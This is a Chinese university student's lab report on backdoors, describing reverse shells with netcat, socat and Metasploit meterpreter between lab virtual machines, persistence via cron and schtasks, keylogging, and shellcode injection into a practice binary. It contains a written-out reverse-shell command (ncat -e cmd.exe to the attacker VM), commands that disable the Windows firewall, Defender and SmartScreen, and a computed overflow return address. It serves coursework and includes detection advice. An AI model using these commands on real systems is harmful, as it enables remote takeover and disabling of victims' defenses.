20241101 2025-2026-1 《网络与系统攻防技术》实验二实验报告
20241101 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.基础知识
①后门的概念与原理
后门是绕过正常认证/访问控制、秘密进入系统的通道。三要素:可以进入(通信通道)、能控制(Shell/命令执行)、能隐藏(自启动 + 免杀)
本次实验的几种通道:netcat(简单网络读写)、socat(增强版,支持加密、重定向、pty)、MSF meterpreter(功能完整的攻击载荷框架)
②反弹Shell(与正向 Shell)
正向:攻击机监听,靶机连过来,存在问题:靶机在NAT/防火墙后时连不进去
反弹:靶机主动连攻击机,靶机主动出站,防火墙一般放行
③自启动机制(持久化)
Linux:cron(crontab,按分钟/小时/天周期执行)、/etc/rc.local、systemd service;
Windows:任务计划程序(schtasks)、注册表 Run 键、服务、启动文件夹。
实验里用 cron 和 schtasks 实现"开机/定时自动拉起后门"。
④MSF概念
msfvenom:生成木马/shellcode的工具,-p 载荷(比如windows/meterpreter/reverse_tcp)、LHOST/LPORT(回连地址)
handler(exploit/multi/handler):MSF 的监听器,必须与 msfvenom 用的载荷、端口严格对应,否则收不到会话
2.实验内容
问题回答:
①例举你能想到的一个后门进入你系统的可能方式?
最现实的是捆绑/伪装安装:从非官方渠道下载的"破解版软件"、带宏的文档、来路不明的安装包,安装时悄悄释放后门程序并写入自启动项。用户以为装的是正常软件,实际上安装程序同时完成了后门植入。另一种常见的是钓鱼邮件附件——诱导打开后利用漏洞直接落地。所以"进入系统"这一步往往不是技术多高超,而是利用了人的信任。
②例举你知道的后门如何启动起来(Win及Linux)的方式?
Windows:任务计划程序(本次实验用 schtasks 设置开机任务);注册表 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 键值(登录即运行);伪装成系统服务;放入启动文件夹;
Linux:cron 定时任务(本次实验用的方式);写入 /etc/rc.local 或 systemd 的 .service 文件实现开机自启;修改 shell 配置文件(.bashrc)让登录即执行;
共同思路:都是寄生在系统合法的启动机制上,因此排查后门时优先检查这些位置。
③Meterpreter 有哪些给你印象深刻的功能?
印象最深的是键盘记录和权限维持。keyscan_start 之后,靶机上敲的所有内容,包括输入的密码都能被原样拖回来,这意味着密码即使不明文传输也保不住。而这种功能只占MSF模块库的很小一部分。
④如何发现自己的系统有没有被安装后门?
看网络:netstat -ano(Win)/ss -tulnp(Linux)找可疑的对外连接和监听端口(实验里后门就是固定回连攻击机的端口);
看自启动:检查任务计划程序、注册表 Run 键、cron、systemd 服务里的陌生条目;
看进程:任务管理器/ps 找名字伪装成系统进程(如scvhost冒充svchost)、路径可疑的进程;
看文件与日志:临时目录里的陌生 exe、登录日志(/var/log/auth.log、Win 事件查看器)里的异常登录。
总之,单一手段不可靠,后门总要在"网络、自启动、进程"中的某处留下痕迹,定期结合这几项自查最有效。
3.实验过程
本实验在kali虚拟机和Windows虚拟机下完成
3.0实验前准备
①网络互通
两台虚拟机都设成NAT模式,开机后分别在两台虚拟机上查看自己的ip


能相互ping通

②Win10靶机关闭防护
关闭防火墙:控制面板 → Windows Defender 防火墙 → 关闭(或管理员 cmd:netsh advfirewall set allprofiles state off)
关闭Defender实时保护:设置 → 更新和安全 → Windows 安全中心 → 病毒和威胁防护 → 管理设置 → 关闭实时保护

③把工具传到Win10

Win10打开浏览器访问 http://192.168.141.128/ ,下载ncat.exe和socat.exe


3.1使用netcat获取主机操作Shell,cron启动某项任务
①Kali获取Win10的cmd Shell
kali终端(监听):

Win10输入命令\lab\ncat.exe -e cmd.exe 192.168.88.128 13150,Kali 这边立刻出现Win10的命令提示符,敲ipconfig验证

②cron定时启动反弹Shell(每分钟自动连接一次)
Win10(监听,等Kali上钩):

kali:



3.2使用socat获取主机操作Shell, 任务计划启动
①Kali通过socat获取Win10 Shell

3.3 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shel
①kali生成后门程序

②传到Win10


③kali开启监听 Win10运行后门



3.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
①音频录制

②截屏

③击键记录

3.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
①找到foo里的ret地址

②生成shellcode

③gdb读出ESP

计算返回地址为ESP+4+40=0xffffcf0c+0x2c=0xffffcf38,小端倒序写入就是 \x38\xcf\xff\xff
④构造payload

⑤起handler

⑥注入

4.问题及解决方案
-
问题1:Win10虚拟机自带的Defender安全防护,把ncat.exe当成恶意程序拦截下载
-
问题1解决方案:关闭SmartScreen(浏览器拦截),在Win10开始菜单搜索Windows安全中心,打开后点【应用和浏览器控制】→【基于声誉的保护设置】,把【检查应用和文件】和【适用于Microsoft Edge的SmartScreen】切换为【关闭】
-
问题2:kali向Windows虚拟机传输文件
-
问题2解决方案:Apache网页方式:Kali开启Apache网页服务,把文件放到网站根目录 /var/www/html,Win10浏览器访问Kali IP下载文件。
kali机:
sudo cp *** /var/www/html
sudo systemctl start apache2
Windows机:
http://kali ip/ncat.exe
http://kali ip/socat.exe
5.学习感悟、思考等
这次实验做完,我对"后门"这个词有了更形象的理解,其实它就是一条网络通道+一个自启动项,任务一里只用一行cron就让Kali每分钟自动把Shell递给Win10,想象我的机器如果像这样被人偷偷接管是很恐怖的事情。实验也不是一路顺畅,Defender 把我的后门直接删掉,getsystem 失败后才知道UAC的存在,权限原来不是拿到Shell就结束。任务五把MSF生成的shellcode注入实验一的pwn1,让两个实验首尾相接,也让我看清整条攻击链,形象地说:漏洞是门,shellcode是钥匙,后门是留下的锁。实验结束我清理了Win10上的后门文件、恢复了防火墙,也顺手查了一遍自己常用电脑的启动项和对外连接。

浙公网安备 33010602011771号